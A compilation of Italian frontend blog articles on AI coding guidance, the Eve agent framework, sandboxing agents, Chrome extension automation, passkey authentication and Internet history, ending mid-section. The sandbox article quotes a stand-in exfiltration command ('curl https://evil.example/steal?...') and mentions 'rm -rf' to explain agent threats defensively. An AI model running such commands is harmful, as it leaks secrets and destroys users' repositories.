ridurre JS e superficie di bug

È qui che Baseline diventa uno strumento operativo: ti permette di dire con sicurezza “questo workaround non mi serve più” senza rompere l’esperienza su browser importanti.

Aggiungere UX moderna senza compromettere il support: esempio “swipe to remove”

Un’ottima prova per un workflow AI-assisted è introdurre una UX mobile semplice ma non banale, tipo:

nel carrello puoi rimuovere singoli prodotti
su mobile vuoi anche “swipe to remove”

Qui la qualità della guida fa la differenza: senza un riferimento aggiornato, l’agente tende a:

inventare gesture handling fragile
ignorare accessibilità
produrre codice non coerente con i pattern moderni

Con guide mirate, invece, ti aspetti che l’implementazione:

definisca un comportamento base robusto (click/tap “Rimuovi”)
aggiunga l’interazione swipe come enhancement
rimanga testabile, accessibile e coerente con il target Baseline

Il punto non è solo ottenere l’effetto, ma farlo senza introdurre un nuovo “debito UX”.

La parte che conta davvero: trasformare ogni prompt in una scelta tecnica tracciabile

La promessa di Modern Web Guidance non è “scrivere codice al posto tuo”. È una cosa più utile:

ridurre l’entropia del codice generato
ancorare le decisioni a best practice aggiornate
legare compatibilità e fallback a un requisito esplicito (Baseline)

In un contesto reale, questo significa:

meno workaround inutili
più performance misurabile (audit prima/dopo)
più coerenza architetturale anche quando chiedi interventi piccoli e incrementali

Sintesi operativa

Se oggi usi un agente AI per fare frontend e ti ritrovi spesso con output “datati”, il cambio di passo è introdurre un livello di guida moderno e contestuale.

Una routine efficace è:

definire il target di support (Baseline) del progetto
misurare con audit ripetibili (Lighthouse) prima di intervenire
applicare fix moderni dove hanno impatto (LCP, font, risorse bloccanti)
rimuovere fallback non più necessari quando il support lo consente
aggiungere UX come enhancement, mantenendo un comportamento base solido

Quando questo processo diventa automatico anche nei prompt quotidiani, l’AI smette di essere una scorciatoia incerta e diventa un moltiplicatore di qualità: meno codice, più compatibilità reale, più performance verificabile.

Articolo originale: https://frontendfacile.it/blog/modern-web-guidance-come-far-smettere-all-ai-di-generare-codice-web-vecchio-e-re

Eve: un modo “convention over configuration” per costruire e far girare AI agent in TypeScript (anche con modelli locali)

frontendfacile.it — Fri, 03 Jul 2026 09:24:34 +0000

Struttura di progetto rigida, tooling in TS, sandbox su filesystem e connettori OpenAI-compatibili: la ricetta per agent riproducibili e deployabili senza impazzire.

Perché un framework per agent, oggi

Costruire un AI agent “serio” non è difficile solo per il prompt. Il lavoro vero sta nel contorno:

trasporto (HTTP, streaming, ecc.)
struttura del progetto e discovery dei componenti
strumentazione (log, tracing, osservabilità)
gestione dello stato e della memoria conversazionale
integrazione dei tool (funzioni, filesystem, chiamate esterne)

Eve nasce per togliere attrito da questi punti, imponendo una struttura chiara e offrendo un runtime pensato per agent. L’idea è semplice: tu scrivi logica e istruzioni; il framework si occupa di farla girare in modo coerente.

Eve in una frase: convention over configuration

Il cuore di Eve è un approccio “convention over configuration”. Invece di descrivere tutto a mano in un file di config, segui una struttura standard (cartelle e file con nomi noti) e Eve:

rileva automaticamente tools/skills/channels
li rende disponibili all’agent
gestisce parte dell’infrastruttura necessaria a esporre l’agent e interagirci

Questo taglia tempo su bootstrap e wiring, e soprattutto riduce la variabilità tra progetti: quando apri un repository Eve, sai già dove guardare.

I concetti chiave: Tools, Prompt, Sandbox, Channels

Anche senza entrare in dettaglio su ogni cartella, ci sono quattro concetti utili per capire come “pensa” Eve.

1) Tools: funzioni TypeScript, non magia

I tools sono logica scritta in TypeScript/JavaScript: funzioni che l’agent può invocare per fare lavoro deterministico.

Esempi tipici:

filtrare un dataset
validare input
generare un piano in formato strutturato
leggere/scrivere file

Il vantaggio è enorme: invece di chiedere al modello di “fare calcoli” o “ricordare dati”, sposti il lavoro nei tools e lasci al modello orchestrazione e linguaggio.

2) System prompt e istruzioni

Eve ti spinge a formalizzare bene le istruzioni: cosa deve fare l’agent, con quali limiti, e con quale stile d’output.

Qui conviene essere pragmatici:

definisci lo scopo (es. piano di allenamento)
definisci i vincoli (es. solo esercizi da dataset, durata massima, focus su specifici muscoli)
definisci un output strutturato (es. JSON) quando devi consumare la risposta in UI

3) Sandbox: un filesystem “di lavoro” per l’agent

Un’idea molto utile è la sandbox: una directory in cui l’agent può interagire con file e dati.

È perfetta per:

dataset locali (JSON, CSV)
cache di risultati
file temporanei

In pratica diventa uno spazio controllato dove l’agent può “operare” senza dipendere da risorse esterne.

4) Channels: come parli con l’agent

I channels sono il modo in cui interagisci con l’agent (ad esempio via HTTP). Questo aspetto è importante perché ti permette di trattare l’agent come un servizio:

in locale per prototipi
in rete privata (LAN) per uso personale
deployato su infrastruttura cloud quando serve

Modelli locali: perché hanno senso (e come si incastrano)

Per prototipi e strumenti personali, usare un modello locale è spesso la scelta più sensata:

zero API key
costi prevedibili (solo compute)
privacy migliore (dati che restano in locale)

Runtime come Ollama sono comodi perché offrono un server locale con compatibilità OpenAI protocol: molti framework (Eve incluso, tramite connettori compatibili) possono collegarsi senza adattamenti complessi.

Una nota su “E4B”, dimensione e affidabilità

Quando scegli un modello “piccolo” (2B–4B parametri effettivi), ottieni velocità e facilità d’esecuzione, ma paghi in:

affidabilità dell’output strutturato (JSON che si rompe, campi mancanti)
robustezza nel seguire istruzioni complesse

Per questo è strategico spostare più logica possibile nei tools e chiedere al modello soprattutto decisioni e composizione.

Un caso d’uso concreto: un “local coach” che crea un workout plan da un dataset JSON

Un esempio pratico e molto realistico: un agent che, dato un problema (es. "mi fa male la schiena"), crea un piano usando solo esercizi presenti in un dataset locale.

Ingredienti

un dataset di esercizi in JSON con campi come:
- nome
- livello
- attrezzatura
- muscoli primari/secondari
- istruzioni
- categoria
una sandbox che contiene il file JSON
tools TypeScript per:
- caricare e indicizzare gli esercizi
- filtrare per muscoli/attrezzatura/livello
- comporre un piano settimanale o giornaliero

Perché questa architettura funziona

Il dataset è offline: niente dipendenze esterne.
Il modello non deve “inventarsi” esercizi: seleziona tra opzioni reali.
Il piano può essere emesso in formato consumabile dalla UI (JSON), mentre la UI può renderizzare anche descrizioni “umane”.

Attenzione: salute e responsabilità

Quando il dominio tocca dolore o riabilitazione, conviene impostare nel prompt un perimetro chiaro:

niente diagnosi
suggerimenti generici e prudenti
invito a consultare uno specialista se ci sono segnali d’allarme

Non è un dettaglio: migliora sia la qualità sia la sicurezza del prodotto.

E React / React Native dove entrano?

È utile separare i piani:

Eve come server-side runtime: l’uso più naturale. Lo esponi via HTTP e ci parli da una web app o da un’app mobile.
On-device (React Native): teoricamente possibile, ma spesso complicato da dipendenze Node e dalla necessità di far girare un LLM affidabile sul device. Nella pratica è più robusto trattare l’agent come servizio (anche solo in LAN) e consumarlo dall’app.

Sintesi e implicazione pratica

Eve è interessante perché riduce l’agent a una cosa concreta: una codebase TypeScript con una struttura standard, dei tools chiari e un canale di comunicazione ben definito. Il “trucco” non è delegare tutto al modello, ma costruire un perimetro solido attorno al modello.

Se vuoi un primo progetto che dia valore subito, l’approccio dataset locale + tools + output strutturato è quello che regge meglio anche con modelli piccoli: poche allucinazioni, più determinismo, e un’integrazione frontend molto più pulita.

Articolo originale: https://frontendfacile.it/blog/eve-un-modo-convention-over-configuration-per-costruire-e-far-girare-ai-agent-in

Eseguire agent AI in una sandbox sicura: come evitare token rubati e repository distrutti

frontendfacile.it — Fri, 03 Jul 2026 09:19:34 +0000

Quando dai autonomia a uno script “intelligente”, devi presumere il peggio: rete e filesystem vanno confinati, e i segreti non devono essere leggibili.

Gli agent AI che “lavorano da soli” (generando codice, eseguendo comandi, installando dipendenze, applicando patch) sono comodi, ma spostano il problema dalla produttività alla superficie d’attacco. Non serve un exploit sofisticato: basta un pacchetto o uno script apparentemente utile che, in realtà, prova a fare due cose molto semplici e molto devastanti:

Esfiltrare segreti (token GitHub, chiavi API, variabili d’ambiente).
Manomettere il progetto (cancellare file, riscrivere configurazioni, alterare pipeline).

La buona notizia è che questo tipo di attacchi è spesso bloccabile con una strategia chiara: eseguire tutto in una sandbox dove rete, filesystem e credenziali sono sotto controllo.

Il problema reale: automazione + permessi = danno immediato

Un agente con accesso alla tua working directory e alla rete può:

leggere un token presente in variabili d’ambiente o file di config;
inviarlo a un endpoint esterno con una banale curl;
cancellare file “scomodi” o importanti (config, lockfile, sorgenti), magari simulando un refactor;
creare commit, aprire PR, cambiare workflow CI.

Il punto critico è che molte di queste azioni non richiedono privilegi elevati: un normale utente con accesso alla cartella del progetto e alla rete in uscita può già fare abbastanza danni.

Perché una sandbox funziona: tre barriere fondamentali

Una sandbox efficace non è “un ambiente separato” in senso generico: è un insieme di vincoli tecnici che rendono inutili i comportamenti malevoli.

1) Firewall in uscita: bloccare l’esfiltrazione

La forma più comune di furto è “leggo il segreto e lo mando fuori”. Se la sandbox:

nega la rete in uscita di default, oppure
consente solo una allowlist di domini necessari (es. registry, mirror interni)

allora anche uno script malevolo che prova a fare curl https://evil.example/steal?... fallisce per design.

Questo è spesso il singolo controllo che fa la differenza tra “incidente” e “tentativo bloccato”.

2) Filesystem confinato: niente cancellazioni irreversibili

Se l’agente gira direttamente nel tuo repo locale, un rm -rf è un disastro. In sandbox invece vuoi:

un filesystem isolato (container/VM);
montare il progetto in modalità read-only quando possibile;
oppure lavorare su una copia (checkout temporaneo) e riportare fuori solo le modifiche attese.

Così, anche se un comando tenta di eliminare file, l’effetto rimane dentro l’ambiente confinato e non “tocca” la sorgente reale.

3) Sicurezza delle credenziali: segreti non leggibili (o sostituiti)

Un errore tipico è passare al container le stesse variabili d’ambiente del sistema host. In una sandbox ben fatta:

i segreti non vengono iniettati a meno che sia indispensabile;
se servono, vengono iniettati come credenziali scopate (scope ridotto, TTL breve, permessi minimi);
idealmente l’ambiente restituisce valori fittizi o “mascherati” dove possibile, così il codice non può mai vedere il token reale.

Risultato: anche se lo script tenta di stampare o inviare un token, non ottiene nulla di utile.

Un approccio pratico: sandbox basata su container

Per molti workflow frontend (codegen, refactor, linting, test, patch automatiche), un container è un buon compromesso: veloce da avviare, riproducibile, facile da buttare via.

Una configurazione sensata punta a:

container ephemeral (si distrugge a fine run);
filesystem isolato, repo montato RO o su copy-on-write;
niente accesso alle credenziali dell’host per default;
rete in uscita bloccata o fortemente limitata;
logging degli step eseguiti (almeno per audit e debugging).

Non è necessario rendere “impossibile ogni cosa”: l’obiettivo è rendere improbabile e non conveniente il comportamento malevolo, e soprattutto limitare l’impatto se succede.

Checklist minima per far lavorare un agente senza farsi male

Se stai per far girare un agente AI su una repo vera, questi sono i controlli che vale la pena considerare come baseline:

Deny-all egress (o allowlist). Se l’agente deve scaricare dipendenze, valuta mirror interni o domini specifici.
Repo in read-only, oppure lavora su una copia temporanea e applica patch “a valle”.
Nessun token reale nell’ambiente. Se serve GitHub, usa token a privilegi minimi e solo per operazioni specifiche.
Ambiente effimero: tutto si può distruggere e ricreare.
Limiti di risorse (CPU/RAM/timeouts) per evitare loop o comportamenti runaway.

Sintesi: autonomia sì, fiducia cieca no

Gli agent AI sono strumenti potenti, ma vanno trattati come qualunque automazione capace di eseguire comandi: potenzialmente pericolosa se non confinata. Una sandbox ben progettata trasforma un attacco banale (esfiltrare un token, cancellare file) in un tentativo sterile: niente rete utile, niente segreti reali, niente danni permanenti al repository.

Se l’obiettivo è aumentare la produttività senza aprire nuove porte alla supply chain, la sandbox non è un “di più”: è la condizione necessaria per usare davvero gli agent in modo professionale.

Articolo originale: https://frontendfacile.it/blog/eseguire-agent-ai-in-una-sandbox-sicura-come-evitare-token-rubati-e-repository-d

Automatizzare lo sviluppo di estensioni Chrome con agenti di coding e DevTools (MCP)

frontendfacile.it — Fri, 03 Jul 2026 09:14:33 +0000

Un workflow moderno per passare da prompt a estensione funzionante, testata nel browser e pronta per la pubblicazione.

Costruire estensioni per Chrome non è mai stato così “vicino” al normale sviluppo frontend: stessi strumenti, stessi pattern web (HTML/CSS/JS), ma con un vantaggio enorme—puoi modellare browser e pagine sulle tue esigenze. La vera differenza, oggi, è che puoi automatizzare gran parte del ciclo creazione → installazione → test → debug grazie a un setup che combina:

Un coding agent (per generare e iterare velocemente sul codice)
Una guida “viva” alle API e alle best practice moderne (per evitare output obsoleti)
Chrome DevTools per agenti via MCP (per far agire l’agente direttamente sul browser)

Il punto chiave è l’ultimo: quando l’agente può davvero controllare Chrome, non si limita a scrivere file. Può installare l’estensione, attivarla, riprodurre flussi reali (click sull’icona, input in una textarea, ecc.), fare screenshot e verifiche. Questo chiude un gap storico: l’AI che “scrive” ma non “prova”.

Cosa puoi fare con un’estensione (in pratica)

Le estensioni non sono solo “popup carini”: sono un modo per cambiare il tuo ambiente di lavoro quotidiano.

1) Potenziare le pagine web (content scripts)

Puoi iniettare JavaScript e CSS nelle pagine per:

analizzare contenuti (es. stimare il tempo di lettura di un testo lungo)
aggiungere UI contestuale (es. un emoji picker personalizzato in qualsiasi campo input)
modificare elementi della pagina (sì, anche cose “sciocche” come sostituire immagini con gatti—ma serve a capire quanto sei vicino al DOM)

2) Aggiungere UI al browser

Oltre alla pagina, puoi estendere l’interfaccia di Chrome:

Side panel (molto potente per strumenti “sempre aperti”)
popup dell’azione dell’estensione
pagine dedicate (tab)
menu contestuali, badge, ecc.

3) Cambiare comportamenti del browser

Qui spesso si sottovaluta il potenziale:

gestione tab (gruppi, regole, automazioni)
scorciatoie e azioni contestuali
micro-automazioni che migliorano il workflow (anche integrazioni con servizi o device)

Quando costruire un’estensione diventa facile, inizi a farle non solo “per il pubblico”, ma per te stesso.

Il setup moderno: agent + skill + DevTools MCP

Il problema classico dei coding agent è che, anche quando scrivono bene, possono:

usare API superate
sbagliare dettagli “noiosi” ma cruciali (manifest, permessi, icone, nomi file)
fermarsi prima dell’ultima parte: test e debug reali nel browser

Un setup efficace include:

1) Una skill di “Modern Web Guidance”

Serve a mantenere l’agente allineato su:

best practice
API aggiornate
pattern moderni di UI

In più, è utile avere una skill specifica per Chrome Extensions, che rende più robusti i passaggi tipicamente fragili (manifest, service worker, permessi, icone, ecc.).

2) Chrome DevTools for Agents via MCP

Questa è la leva per automatizzare:

installazione dell’estensione
reload dopo modifiche
trigger di azioni (incluso click sull’icona dell’estensione)
debug e verifiche (es. screenshot, interazioni, controlli)

Un dettaglio importante: spesso le capability per lavorare con estensioni non sono attive “out of the box” per motivi di contesto. Tipicamente bisogna abilitare la categoria di tool dedicata alle estensioni e, se vuoi testare su un Chrome già in uso (e non su un profilo isolato), abilitare l’auto-connection.

3) Remote debugging in Chrome

Per collegare un agente a un’istanza di Chrome reale, devi abilitare esplicitamente il remote debugging per quell’istanza. È una protezione sensata: dare controllo del browser a un processo esterno è una capability potente.

Dal “Hello World” a un’estensione utile (e testata davvero)

Un modo sano di partire è sempre un’estensione banale—tipo un popup con “Hello World”—solo per verificare:

manifest corretto
estensione installabile
azione/popup funzionante
ciclo edit → reload → test

La svolta, però, arriva quando il test non è “mi fido”: l’agente può realmente:

installare l’estensione
aprire il popup
fare screenshot e controlli
ripetere il flusso come farebbe un utente

Questo riduce drasticamente il tempo perso in “funziona sul mio computer… ma non nel browser”.

Un esempio concreto: autocompletion per inserire link alle tab aperte

Un’idea piccola ma ad alto ROI:

Quando digiti !! + Tab dentro un qualsiasi campo di testo (input, textarea, contenteditable), compare un’autocompletion con l’elenco delle tab aperte. Se ne selezioni una, viene inserito il link.

Perché è utile? Quando scrivi email, issue, documentazione o chat, spesso il link che vuoi incollare è già aperto da qualche parte. Invece di:

trovare la tab
copiare l’URL
tornare indietro
incollare

…puoi inserirlo direttamente nel punto in cui stai scrivendo.

Variante “pro”: Markdown link con scorciatoia

Un miglioramento semplice ma intelligente:

selezione tab → inserisce URL
Shift+Enter → inserisce un link Markdown usando il titolo della tab come anchor text

E qui emerge un pattern importante: il valore di un agente non è solo generare codice, ma iterare velocemente su requisiti con una fase di “piano” revisionabile (manifest, permessi tabs, UI, test cases, ecc.).

Test robusti: tre casi che contano davvero

Per un’estensione che interagisce con campi di testo, i casi principali sono:

input
textarea
elementi contenteditable

Avere un test automatico che copre tutti e tre evita bug fastidiosi “funziona in A ma non in B”.

Prepararla per la pubblicazione sul Chrome Web Store

Quando un prototipo funziona, il passaggio “adulto” è renderlo pubblicabile. In genere significa applicare una checklist di conformità che include:

manifest e permessi minimizzati
asset corretti (icone coerenti per dimensione e nome file)
descrizione, versioning, e packaging pulito
controlli base su UX e policy

Un aspetto sorprendentemente spinoso, anche per tool automatici, sono proprio le icone: spesso vengono generate con nomi non coerenti col manifest o con stili diversi tra risoluzioni. Per questo conviene avere linee guida esplicite nel workflow.

Sintesi: perché questo workflow cambia le regole del gioco

Quando un agente può scrivere codice e pilotare DevTools per installare e testare l’estensione, il tuo ciclo di lavoro diventa:

idea → prompt → implementazione → installazione → test reale → iterazione → packaging

Il risultato pratico è che diventa realistico costruire estensioni non solo come “progetti”, ma come strumenti personali: piccoli, mirati, capaci di eliminare frizioni quotidiane nel browser.

La conseguenza più interessante per chi fa frontend è che l’estensione torna ad essere un “pezzo di prodotto” accessibile: non un mondo a parte, ma un’estensione naturale del tuo modo di lavorare sul web.

Articolo originale: https://frontendfacile.it/blog/automatizzare-lo-sviluppo-di-estensioni-chrome-con-agenti-di-coding-e-devtools-m

Autenticazione nel 2026: passkey, credenziali digitali e flussi “senza attrito” per il Web

frontendfacile.it — Fri, 03 Jul 2026 09:09:33 +0000

Dalla creazione account al recovery: come progettare un lifecycle moderno, più veloce e (molto) più resistente al phishing.

L’autenticazione come “primo impatto” (e come collo di bottiglia)

Nel 2026 l’autenticazione continua a essere una delle parti più delicate di qualunque prodotto: è il varco d’ingresso al tuo servizio e spesso il primo contatto reale con la UX. Se l’utente atterra su una form lunga, piena di campi obbligatori e frizioni inutili, il rimbalzo è dietro l’angolo.

Il problema non è solo l’abbandono: i metodi legacy (password + OTP via email/SMS, verifiche manuali, ecc.) aumentano anche i rischi di phishing e furto d’identità. La buona notizia è che oggi esiste un set di primitive e pattern che permette di ridurre drasticamente la frizione e alzare il livello di sicurezza.

Un modo utile per ragionarci è guardare l’intero ciclo di vita dell’account:

Creazione account
Verifica attributi (email, età, nome legale…)
Sign-in ricorrente
Recupero account

In ogni fase puoi “innestare” tecnologie moderne (federazione, passkey, autofill evoluto, verifica email mediata dal browser, credenziali digitali) senza dover riscrivere tutto da zero.

1) Creazione account: meno campi, più identità riusabile

Federated identity: evitare la form quando non serve

Se puoi, parti dalla federazione: l’utente crea l’account sul tuo sito usando un provider (Google o altri IdP). Il vantaggio è triplo:

Zero data-entry ripetitivo: email, nome e altre info base esistono già.
Verifiche già fatte: spesso l’IdP ha già verificato contatti e accesso.
Conversione migliore: un click batte qualsiasi form.

Pattern consigliato: “federate then upgrade”

Un approccio pragmatico è:

Creare l’account in un click con login federato.
Subito dopo proporre la creazione di una passkey sul dispositivo.

Così ottieni l’onboarding più semplice possibile oggi, ma sposti l’utente verso un sign-in futuro più veloce e resistente al phishing.

Se sei un Identity Provider: FedCM

Per chi gestisce un IdP, vale la pena supportare FedCM (Federated Credential Management API): abilita un’esperienza “one tap” mediata dal browser con un’attenzione più forte alla privacy rispetto ai pattern storici.

2) Se la form è inevitabile: rendi l’autofill un cittadino di prima classe

A volte la registrazione tramite form è necessaria (modello business, requisiti interni, mercati specifici). In quel caso, la UX può comunque migliorare molto se aiuti il browser.

Checklist frontend:

Usa name e id descrittivi
Imposta autocomplete corretti (email, new-password, ecc.)

L’autofill non è più “solo comodità”: è diventato una base per funzionalità più evolute (come la verifica email senza inbox e l’accesso alle passkey dalla UI di autofill).

3) Verifica email senza “controlla la posta”: Email Verification Protocol

L’email resta un identificatore centrale (billing, comunicazioni, recovery). Accettare email non valide significa:

onboarding che fallisce “in silenzio”
bounce rate alta (e reputazione del mittente che peggiora)
costi email più alti

Il problema dei classici OTP/magic link è il context switch: l’utente deve uscire dal flusso, aprire la inbox, aspettare la consegna, copiare/incollare o cliccare. È un killer di conversione. Inoltre, gli OTP rimangono attaccabili tramite phishing, e i magic link spesso si aprono in in-app browser diversi dal contesto originale (con confusione e abbandoni, soprattutto in checkout).

L’idea: ottenere una email verificata senza inviare email

Il Email Verification Protocol punta a eliminare completamente l’invio del messaggio: la verifica diventa mediata dal browser tramite un meccanismo “a tre attori” (provider email, issuer specializzato, browser).

Dal punto di vista dell’integrazione, l’approccio è dichiarativo: annoti la form in modo che il browser possa orchestrare lo scambio.

In pratica:

input email con autocomplete="email"
un input hidden per ricevere un token di verifica email
token legato a parametri anti-intercettazione (es. nonce fresco)

Nota: essendo una tecnologia in evoluzione, è importante prevedere che la forma esatta dell’API possa cambiare: conviene incapsulare l’integrazione e mantenere un fallback robusto.

4) Verifica attributi “sensibili”: Digital Credentials API

Non sempre devi verificare solo un contatto. In alcuni settori e paesi serve verificare:

età (eligibility)
nome legale
altri attributi regolamentati

Qui entrano in gioco le credenziali verificabili tramite Digital Credentials API, che permette di richiedere prove da un wallet compatibile sul dispositivo dell’utente.

Il modello a tre parti

Issuer: chi emette e firma crittograficamente la credenziale (es. ente che rilascia una patente)
Holder: l’utente, che conserva la credenziale nel wallet
Verifier: il tuo sito/app che chiede una prova

Il browser media la richiesta e l’OS coordina l’interazione con i wallet installati. L’utente vede chiaramente quali dati sta condividendo, e tu ricevi solo ciò che è stato autorizzato. Poi puoi verificarne l’autenticità secondo i trust anchor che scegli.

Aspetto interessante: non è limitato ai documenti governativi. Man mano che l’ecosistema matura, la stessa infrastruttura può trasportare varie forme di credenziali verificabili (certificati, titoli di viaggio, ecc.), a patto di avere issuer e wallet compatibili.

5) Sign-in ricorrente: passkey come default, fallback intelligente

Perché puntare sulle passkey

Le passkey sono una alternativa più semplice e più sicura a password e OTP, con forte resistenza al phishing. Il punto non è “seguire una moda”: è ridurre errori, reset password e abbandoni.

UI unificata e selezione “smart” delle credenziali

Un trend chiave è l’adozione di UI di login mediate dal browser che presentano in modo pulito le credenziali salvate (passkey e/o password) e riducono i passaggi.

Quando l’utente clicca un’azione che implica un’intenzione di login (es. aprire “I miei ordini”), il browser può proporre immediatamente la credenziale migliore disponibile. Se non ci sono credenziali, il sito gestisce il fallback portando l’utente al login tradizionale.

Best practice: form unica che supporta password + passkey

La transizione reale richiede compatibilità:

utenti che non hanno ancora passkey
browser/ambienti che non supportano tutte le nuove UI

Per questo conviene mantenere una pagina di login classica dove l’autofill suggerisce sia password che passkey quando l’utente entra nel campo username/email. È un modo molto efficace per offrire subito il percorso “migliore” a chi è pronto, senza spezzare l’esperienza degli altri.

6) Quando creare una passkey: timing e sicurezza

Tre strategie pratiche:

Durante o subito dopo la registrazione: l’utente è già nel flusso mentale giusto.
Solo dopo un segnale forte di autenticità: prima verifica che l’utente sia davvero chi dice di essere (ad esempio validando l’email o usando un provider affidabile), così riduci il rischio che un attaccante crei credenziali su account compromessi.
Migrazione degli utenti esistenti con creazione “assistita”: dove possibile, sfrutta meccanismi di creazione che minimizzano prompt e passaggi extra, aumentando l’adozione senza campagne invasive.

Anche una semplice schermata di “security confirmation” che spiega i vantaggi può incrementare la conversione: spesso la barriera è più educativa che tecnica.

Sintesi: progettare un lifecycle moderno (non un singolo form)

L’autenticazione efficace nel 2026 non è una scelta binaria “password sì/no”: è una composizione di tecnologie lungo il ciclo di vita dell’account.

Onboarding: federazione quando possibile; altrimenti autofill curato.
Verifica: ridurre il context switch (email verificata via browser) e usare credenziali digitali per attributi regolamentati.
Sign-in: passkey come percorso preferito, con UI unificata e fallback in form.
Adozione: chiedere passkey nel momento giusto, con messaggi chiari e passaggi minimi.

L’implicazione pratica è semplice: se vuoi più conversione e meno supporto (reset, OTP non ricevuti, account compromessi), smetti di trattare l’autenticazione come un componente isolato e inizia a progettarla come un percorso end-to-end, dove il browser diventa un alleato attivo di UX e sicurezza.

Articolo originale: https://frontendfacile.it/blog/autenticazione-nel-2026-passkey-credenziali-digitali-e-flussi-senza-attrito-per-

Una storia (strana) di Internet: perché funziona davvero e cosa insegna a chi fa frontend

frontendfacile.it — Thu, 02 Jul 2026 09:20:02 +0000

Dallo “sneakernet” ai pacchetti, dal Web blu sottolineato alle web app: una linea del tempo utile per capire le scelte tecniche di oggi.

Internet è pieno di paradossi: nasce per sopravvivere a guasti catastrofici, ma oggi può essere messo in ginocchio da un banner di consenso cookie che blocca il rendering. Ripercorrere alcune tappe chiave della sua evoluzione aiuta a capire perché certe cose sono fatte in un modo e non in un altro—e perché, lato frontend, performance e resilienza non sono optional ma conseguenze dirette del design originale della rete.

Prima della rete: quando “trasferire dati” significava guidare

Per molto tempo i computer sono stati isole. Se volevi spostare dati da una macchina all’altra, spesso lo facevi con supporti fisici: nastri magnetici, floppy, dischi. Era il cosiddetto “sneakernet”: la rete più veloce era letteralmente una persona che camminava (o guidava) portando il dato in tasca.

Sembra preistoria, ma fissa un punto importante: comunicare è più difficile che calcolare. Ed è la comunicazione—non la potenza di calcolo—ad aver determinato le architetture che usiamo ancora.

Circuit switching vs packet switching: l’idea che ha reso possibile Internet

Le reti telefoniche tradizionali funzionavano (e in parte funzionano) con circuit switching: due estremi “prenotano” un canale dedicato end-to-end per tutta la durata della conversazione. Se un collegamento nella catena si rompe, la comunicazione cade.

Per una rete che deve rimanere operativa anche in condizioni difficili, questo modello è fragile. La svolta concettuale è stata il packet switching:

il messaggio viene spezzato in pacchetti;
ogni pacchetto porta un indirizzo di destinazione;
i pacchetti possono attraversare la rete seguendo percorsi diversi;
a destinazione vengono riordinati e ricomposti.

Questo approccio è incredibilmente moderno: è tollerante ai guasti, scala bene, e soprattutto non richiede che la rete sia perfetta. Richiede invece che gli endpoint e i protocolli gestiscano la complessità.

Per chi fa frontend, qui c’è un’analogia utile: il Web non è una chiamata “in tempo reale” dedicata. È una successione di richieste, ritardi, retry, cache, perdita di pacchetti, riconnessioni. La UX deve convivere con l’inaffidabilità di base.

TCP/IP: il momento in cui le reti smettono di essere “solitarie”

Avere una rete funzionante non basta se resta un ecosistema chiuso. La vera nascita di Internet avviene quando emerge un linguaggio comune per far parlare reti diverse: TCP/IP.

IP si occupa dell’indirizzamento: ogni macchina (o più spesso ogni interfaccia) ha un numero, e i pacchetti sanno dove andare.
TCP gestisce l’affidabilità: spezza i dati, li numera, ritrasmette se mancano, garantisce l’ordine.

Questa divisione dei compiti è uno dei motivi per cui il Web può essere “best effort” e comunque usabile: l’affidabilità non è nella rete, è nello stack.

DNS: l’usabilità che sblocca la rete

Gli indirizzi numerici sono ottimi per le macchine e pessimi per gli umani. Il Domain Name System risolve il problema trasformando nomi leggibili (es. example.com) in indirizzi IP.

Per il frontend, DNS è spesso “invisibile” finché non diventa un collo di bottiglia. Ma impatta:

TTFB (risoluzione DNS + handshake + risposta)
strategie di preconnect / dns-prefetch
architetture multi-dominio (CDN, asset separati, third-party)

Quando una pagina sembra lenta “prima ancora di iniziare”, a volte non è JavaScript: è la catena di risoluzione e connessione.

Il Web: HTML, HTTP, URL e l’idea di collegare informazioni

Internet è l’infrastruttura. Il World Wide Web è l’applicazione che rende quell’infrastruttura navigabile e collegabile.

Tre invenzioni (più una) fissano ancora oggi le basi del nostro lavoro:

URL: un identificatore universale per una risorsa.
HTTP: un protocollo semplice richiesta/risposta.
HTML: un formato ipertestuale.
(e poi il browser, che mette tutto insieme)

L’idea potente non è “mostrare documenti”, ma linkare risorse in modo uniforme. Il link è l’unità fondamentale: ha costruito navigazione, discovery, SEO, e perfino modelli economici.

Il browser diventa il campo di battaglia (e noi paghiamo il prezzo in compatibilità)

Quando il Web diventa mainstream, il browser smette di essere un semplice visualizzatore: diventa la piattaforma più distribuita del pianeta.

Da lì nasce una dinamica che chi fa frontend conosce bene:

competizione → feature introdotte velocemente;
bundling e dominanza di un player → standardizzazione “de facto”;
reazione della comunità → spinta su open source e interoperabilità.

La lezione pratica: i vincoli di compatibilità non sono un incidente, sono una conseguenza naturale di una piattaforma installata ovunque. E spiegano perché ancora oggi esistono polyfill, progressive enhancement, e una certa cautela nell’adottare novità senza guardare la diffusione.

Dial-up e latenza: l’UX è sempre stata una lotta contro il tempo

Prima della banda larga, l’accesso domestico avveniva via modem su linee telefoniche analogiche. Velocità ridotte, latenza alta, connessioni instabili. E un problema molto umano: se qualcuno alzava la cornetta, la sessione poteva saltare.

Per noi è un promemoria: anche se oggi abbiamo fibra e 5G, la rete del tuo utente è spesso peggiore di quanto immagini:

congestione mobile
Wi‑Fi rumoroso
power saving aggressivo
captive portal
DNS lenti
proxy aziendali

Ottimizzare caricamento e resilienza resta parte del mestiere.

Dot-com: quando l’infrastruttura corre più veloce dell’uso reale

A fine anni ’90 molte aziende investono enormemente in infrastrutture e promesse. Non tutte avevano un modello sostenibile e la bolla scoppia.

Nel medio periodo, però, resta un effetto positivo: capacità e backbone aumentano. È un pattern ricorrente: euforia → eccesso → correzione → infrastruttura che rimane e abilita la fase successiva.

Web 2.0 e Ajax: la pagina smette di “ricaricarsi”

La svolta per l’esperienza utente arriva quando il browser può aggiornare parti della UI senza ricaricare tutto il documento. Con Ajax (e l’uso di XMLHttpRequest, poi evoluto in fetch) si apre la porta a interfacce più simili ad applicazioni.

Da qui discendono molte scelte del frontend moderno:

SPA e routing client-side
component model
stato lato client
chiamate API come flusso principale

Ma anche i costi:

bundle JavaScript pesanti
hydration e complessità di runtime
dipendenza da endpoint e caching più difficile

Il punto non è “Ajax = bene” o “SPA = male”: è che ogni salto di interattività sposta il lavoro dal server al client, e quindi sposta anche la responsabilità delle performance.

Mobile e browser “sempre connesso”: Internet entra in tasca

Con lo smartphone moderno arriva un browser vero, sempre collegato. Cambiano i comportamenti:

sessioni più brevi e frammentate
input touch, viewport variabili
rete instabile ma costante
notifiche e permessi

Per il frontend significa progettare per:

loading incrementale (contenuto utile subito)
responsive reale (non solo CSS, anche peso e priorità delle risorse)
accessibilità e ergonomia

Oggi: pagine pesanti, interruzioni e contenuti “mediati”

